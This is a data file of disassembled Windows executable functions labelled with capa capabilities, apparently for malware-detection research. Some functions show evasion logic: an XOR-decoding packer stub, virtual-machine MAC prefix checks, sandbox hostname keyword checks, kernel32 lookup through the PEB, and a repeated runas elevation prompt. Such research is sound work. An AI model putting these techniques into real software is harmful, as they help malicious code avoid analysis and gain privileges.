joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405460
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41c2b4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
mov dword [ebp - 0x24], esi
test esi, esi
jne 0x4054a9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.OpenSCManager_failed_w_err_0x_08lx_n
call fcn.0040601f
add esp, 8
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405593
mov esp, ebp
pop ebp
ret
push edi
push 0x10014
push 0x419eb8
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x405568
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x40555f
push ebx
push 0x419eb8
push str.starting__s.
call fcn.0040601f
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
push 0x3e8
call esi
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea eax, [ebp - 0x20]
push eax
push edi
call ebx
test eax, eax
je 0x40553c
lea esp, [esp]
push 0x3e8
call esi
cmp dword [ebp - 0x1c], 2
jne 0x40553c
push 0x41a184
call fcn.0040601f
add esp, 4
push 0x3e8
call esi
lea ecx, [ebp - 0x20]
push ecx
push edi
call ebx
test eax, eax
jne 0x405510
cmp dword [ebp - 0x1c], 4
pop ebx
push 0x419eb8
jne 0x40554f
push str._n_s_started._n
jmp 0x405554
push str._n_s_failed_to_start._n
call fcn.0040601f
mov esi, dword [ebp - 0x24]
add esp, 8
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x40557c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.OpenService_failed_w_err_0x_08lx_n
call fcn.0040601f
add esp, 8
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00405593
mov esp, ebp
pop ebp
ret

Function at 0x405593
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41c2b4]
jne 0x40559d
repz ret
jmp fcn.00407d55
Function at 0x40e84c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41c2b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409535
and dword [ebp - 0x14], 0
cmp dword [0x41e100], 0
mov dword [ebp - 0x18], eax
jne 0x40e8ff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40e9a7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40e9a7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41e100], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41e104], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41e108], eax
call edi
push eax
call esi
mov dword [0x41e110], eax
test eax, eax
je 0x40e8ff
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41e10c], eax
mov eax, dword [0x41e10c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40e958
cmp dword [0x41e110], ecx
je 0x40e958
push eax
call esi
push dword [0x41e110]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40e958
test ebx, ebx
je 0x40e958
call edi
test eax, eax
je 0x40e94f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40e94f
test byte [ebp - 8], 1
jne 0x40e958
or dword [ebp + 0x10], 0x200000
jmp 0x40e98b
mov eax, dword [0x41e104]
cmp eax, dword [ebp - 0x18]
je 0x40e98b
push eax
call esi
test eax, eax
je 0x40e98b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40e98b
mov eax, dword [0x41e108]
cmp eax, dword [ebp - 0x18]
je 0x40e98b
push eax
call esi
test eax, eax
je 0x40e98b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41e100]
call esi
test eax, eax
je 0x40e9a7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40e9a9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405593
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
mov ecx, 0x20ba1766
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x431024
mov eax, section..rsrc
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x1fe81856
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x4073e2
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461134], 0
jne 0x407420
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4073f6
mov dword [ecx*4 + 0x461130], eax
inc ecx
cmp ecx, 0x100
jl 0x4073f1
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x40744d
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461130]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x40742e
not eax
pop ebp
ret 0xc

Function at 0x402000
Capabilities:
Access peb ldr_data

Disassembly:
push 0
push 2
push 0x403068
push 0x403053
call dword [sym.imp.Winmm.dll_mciSendStringA]
cmp eax, 0x107
je 0x40201c
ret
mov edi, edi
mov esi, 0x4020c7
mov edi, esi
push 1
push 0x403086
push 1
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateSemaphoreA]
mov edx, eax
pop ebx
mov ecx, 0x3ab
mov al, byte [esi]
sub al, bl
stosb byte es:[edi], al
inc esi
loop 0x402040
push dword fs:[0x30]
mov eax, dword [esp]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
cmp word [eax], 0x5a4d
je 0x402066
xor eax, eax
mov dword [0x403099], eax
add esp, 4
ret
Function at 0x402590
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x4b14c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x218]
xor esi, esi
push eax
push 8
mov dword [ebp - 0x218], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402605
lea eax, [ebp - 0x210]
mov dword [ebp - 0x210], 4
push eax
push 4
lea eax, [ebp - 0x214]
push eax
push 0x14
push dword [ebp - 0x218]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne esi, dword [ebp - 0x214]
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x402612
push eax
call edi
test esi, esi
jne 0x402663
push 0x104
lea eax, [ebp - 0x20c]
push eax
push esi
call ebx
push 1
push esi
push esi
lea eax, [ebp - 0x20c]
push eax
push str.runas
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x402674
call fcn.0046e295
cdq
mov ecx, 0xf1
idiv ecx
add edx, 0x3c
imul eax, edx, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4025b2
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046814f
mov esp, ebp
pop ebp
ret
push 0
call fcn.0046d8ce
int3
Function at 0x402f80
Capabilities:
Create process on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4923e0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x9c
mov eax, dword [0x4b14c0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
push 0x44
lea eax, [ebp - 0x88]
push 0
push eax
call fcn.00469c90
mov ecx, dword [0x4b3860]
xor eax, eax
or dword [ebp - 0x5c], 1
add esp, 0xc
mov word [ebp - 0x58], ax
xorps xmm0, xmm0
mov eax, bind
mov dword [ebp - 0x88], 0x44
sub eax, ecx
movups xmmword [ebp - 0x3c], xmm0
cmp eax, 1
jb 0x403131
cmp dword [0x4b3864], 7
mov eax, 0x4b3850
push 1
cmova eax, dword [0x4b3850]
push 0x4ab388
push ecx
push eax
push ecx
push dword [ebp - 0x90]
lea ecx, [ebp - 0xa8]
call fcn.00407730
push esi
lea edx, [ebp - 0xa8]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.00406d20
mov ecx, dword [ebp - 0x94]
add esp, 4
cmp ecx, 7
jbe 0x40308d
mov edx, dword [ebp - 0xa8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403083
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403136
push ecx
push edx
call fcn.00468192
add esp, 8
cmp dword [0x4b3864], 7
lea edx, [ebp - 0x3c]
push edx
lea edx, [ebp - 0x88]
mov eax, 0x4b3850
cmova eax, dword [0x4b3850]
lea ecx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 7
push edx
cmova ecx, dword [ebp - 0x2c]
push eax
push 0
push 0x8000000
push 0
push 0
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [ebp - 0x18]
test eax, eax
setne al
mov byte [ebp - 0x89], al
cmp ecx, 7
jbe 0x403114
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403104
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40313b
push ecx
push edx
call fcn.00468192
mov al, byte [ebp - 0x89]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046814f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00401480
call fcn.0046f563
call fcn.0046f563
int3
Function at 0x4044e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x404512
jl 0x404505
test ecx, ecx
jne 0x404512
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x4045ef
mov dword [esp + 0x10], eax
lea eax, [ebx + 0x2c]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x14], eax
mov eax, dword [ebx + 0x1c]
mov eax, dword [eax]
mov dword [esp + 0x18], eax
test eax, eax
je 0x404542
mov eax, dword [esp + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x404544
xor eax, eax
cdq
mov dword [esp + 0x1c], edx
mov esi, eax
test edx, edx
jl 0x404598
jg 0x404555
test esi, esi
je 0x404598
mov eax, dword [esp + 0x10]
cmp eax, edx
jg 0x404569
jl 0x404563
cmp ecx, esi
jae 0x404569
mov esi, ecx
mov dword [esp + 0x1c], eax
push esi
push dword [esp + 0x1c]
push edi
call fcn.00469f20
mov eax, dword [esp + 0x20]
add esp, 0xc
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
sub ecx, esi
mov eax, dword [eax]
sbb edx, dword [esp + 0x1c]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov eax, dword [esp + 0x14]
jmp 0x4045bc
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0x10]
cmp eax, 0xffffffff
je 0x4045d8
mov ecx, dword [esp + 0xc]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
lea eax, [ebx + 0x2c]
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
test edx, edx
jg 0x404527
jl 0x4045d8
test ecx, ecx
jne 0x404527
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0xc]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x404633
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x404633
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.00469f20
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x40469c
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x404659
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x404687
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.0046ee96
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x40469c
cmp edi, eax
ja 0x404665
test edi, edi
je 0x40469c
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.0046ee96
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x406450
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x492780
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x4b14c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
lea eax, [ecx + 4]
mov dword [ebp - 0x14], ecx
lea ebx, [ecx + 0x24]
mov dword [ecx], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
lea edi, [ecx + 0x28]
mov dword [ebp - 0x14], eax
push 8
mov dword [eax], 0
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x18], 0
mov dword [ecx + 0x1c], 0
mov dword [ecx + 0x20], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [ecx + 0x2c], 0
mov dword [ecx + 0x30], 0
call fcn.00468162
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.00465d82
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
mov ecx, eax
mov dword [eax + 0x34], esi
call fcn.004065b0
mov eax, dword [ebp - 0x10]
lea edx, [eax + 8]
lea ecx, [eax + 0x14]
lea esi, [eax + 4]
mov dword [eax], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov dword [eax + 0xc], esi
mov esi, eax
mov byte [eax + 0x48], 0
mov byte [eax + 0x3d], 0
mov dword [eax + 0x10], edx
mov dword [eax + 0x1c], ecx
lea eax, [esi + 0x18]
mov dword [esi + 0x20], eax
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], edi
mov esi, dword [ebp - 0x14]
mov dword [edx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [edi], 0
mov dword [esi], 0
mov dword [ecx], 0
mov dword [ebx], 0
mov dword [eax + 0x4c], 0
mov ecx, dword [0x4b3818]
mov edx, dword [0x4b381c]
mov dword [eax + 0x40], ecx
mov dword [eax + 0x44], edx
mov dword [eax + 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406900
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x492300
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x4b14c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.00468162
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.00465d82
add esp, 8
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.004065b0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407cf0
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x289c
call fcn.00468960
mov eax, dword [0x4b14c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x289c]
mov dword [ebp - 0x289c], 0x2880
push eax
lea eax, [ebp - 0x2898]
push eax
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x407e0a
lea esi, [ebp - 0x2898]
nop dword [eax]
nop dword [eax + eax]
cmp dword [esi + 0x190], 6
jne 0x407e00
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
push str._02X:_02X:_02X:_02X:_02X:_02X
lea eax, [ebp - 0x18]
push 0x12
push eax
call fcn.00407cd0
push 8
lea eax, [ebp - 0x18]
push str.00:05:69
push eax
call fcn.004736c0
add esp, 0x30
test eax, eax
je 0x407e1b
push 8
lea eax, [ebp - 0x18]
push str.00:0C:29
push eax
call fcn.004736c0
add esp, 0xc
test eax, eax
je 0x407e1b
push 8
lea eax, [ebp - 0x18]
push str.00:1C:14
push eax
call fcn.004736c0
add esp, 0xc
test eax, eax
je 0x407e1b
push 8
lea eax, [ebp - 0x18]
push str.00:50:56
push eax
call fcn.004736c0
add esp, 0xc
test eax, eax
je 0x407e1b
push 8
lea eax, [ebp - 0x18]
push str.08:00:27
push eax
call fcn.004736c0
add esp, 0xc
test eax, eax
je 0x407e1b
mov esi, dword [esi]
test esi, esi
jne 0x407d40
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046814f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0046814f
mov esp, ebp
pop ebp
ret
Function at 0x407f90
Capabilities:
Check for sandbox username or hostname
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x844
mov eax, dword [0x4b14c0]
xor eax, esp
mov dword [esp + 0x840], eax
push esi
lea eax, [esp + 4]
mov dword [esp + 4], 0x400
push eax
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x408074
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0xc]
call fcn.004053a0
mov dword [esp + 0x20], 0x4ab3f8
lea esi, [esp + 0x20]
mov dword [esp + 0x24], str.VIRUS
mov dword [esp + 0x28], str.MALWARE
mov dword [esp + 0x2c], str.ANALYSIS
mov dword [esp + 0x30], str.SAMPLE
mov dword [esp + 0x34], str.TESTING
mov dword [esp + 0x38], str.SECURITY
mov dword [esp + 0x3c], str.VIRTUAL
nop dword [eax]
push ecx
push dword [esi]
lea ecx, [esp + 0x10]
call fcn.00408c50
cmp eax, 0xffffffff
jne 0x408089
add esi, 4
lea eax, [esp + 0x40]
cmp esi, eax
jne 0x408020
mov ecx, dword [esp + 0x1c]
cmp ecx, 7
jbe 0x408074
mov edx, dword [esp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40806a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4080d6
push ecx
push edx
call fcn.00468192
add esp, 8
xor al, al
pop esi
mov ecx, dword [esp + 0x840]
xor ecx, esp
call fcn.0046814f
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x1c]
cmp ecx, 7
jbe 0x4080c1
mov edx, dword [esp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4080b7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4080d6
push ecx
push edx
call fcn.00468192
add esp, 8
mov ecx, dword [esp + 0x844]
mov al, 1
pop esi
xor ecx, esp
call fcn.0046814f
mov esp, ebp
pop ebp
ret
call fcn.0046f563
int3
Function at 0x409cd0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x492bc0
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x4b14c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0xfde9
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call fcn.00402590
mov al, 1
mov ecx, 0x4b3834
xchg byte [ecx], al
mov dword [ebp - 4], 4
call fcn.00402790
cmp dword [0x4b3864], 7
mov eax, 0x4b3850
push 0
cmova eax, dword [0x4b3850]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ecx
mov dword [ebp - 4], 8
call fcn.00409a40
add esp, 4
mov dword [ebp - 4], 0xa
call fcn.00402680
push ecx
mov edx, 0x4b3880
mov dword [ebp - 4], 0xc
call fcn.00402f80
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a560
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x492d0d
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x4b14c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.004080e0
test al, al
je 0x40a5af
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046814f
mov esp, ebp
pop ebp
ret
push 4
call fcn.00468162
mov dword [ebp - 0x24], eax
mov dword [eax], 0x40a3c0
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x40db60
push 0
push 0
call fcn.0047389f
add esp, 0x1c
mov dword [ebp - 0x20], eax
test eax, eax
je 0x40a73f
push 4
mov dword [ebp - 4], 1
call fcn.00468162
mov dword [ebp - 0x24], eax
mov dword [eax], 0x40a440
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
push ecx
push 0
push eax
push 0x40db60
push 0
push 0
call fcn.0047389f
add esp, 0x1c
mov dword [ebp - 0x18], eax
test eax, eax
je 0x40a76c
mov byte [ebp - 4], 3
cmp dword [ebp - 0x1c], 0
je 0x40a765
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [ebp - 0x1c]
cmp ecx, eax
je 0x40a75e
push 0
push ecx
push dword [ebp - 0x20]
call fcn.00467b7d
add esp, 0xc
test eax, eax
jne 0x40a757
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
cmp dword [ebp - 0x14], eax
je 0x40a765
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [ebp - 0x14]
cmp ecx, eax
je 0x40a75e
push 0
push ecx
push dword [ebp - 0x18]
call fcn.00467b7d
add esp, 0xc
test eax, eax
jne 0x40a757
mov al, byte [0x4b3834]
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
test al, al
jne 0x40a72c
push str.Le_programme_sest_termin
lea ecx, [ebp - 0x3c]
call fcn.004053a0
push 0xc
push 0xfffffffffffffff5
mov byte [ebp - 4], 4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp dword [ebp - 0x28], 7
lea edx, [ebp - 0x3c]
push dword [ebp - 0x2c]
cmova edx, dword [ebp - 0x3c]
call fcn.0040d650
push eax
call fcn.0040bf50
add esp, 8
push 7
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [ebp - 0x28]
cmp ecx, 7
jbe 0x40a72c
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40a722
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a74d
push ecx
push edx
call fcn.00468192
add esp, 8
cmp dword [ebp - 0x14], 0
jne 0x40a752
cmp dword [ebp - 0x1c], 0
jne 0x40a752
xor eax, eax
jmp 0x40a596
push 6
mov dword [ebp - 0x1c], 0
call fcn.004665fb
call fcn.0046f563
call fcn.00473976
push 2
call fcn.004665fb
push 5
call fcn.004665fb
push 1
call fcn.004665fb
push 6
mov dword [ebp - 0x14], 0
call fcn.004665fb
int3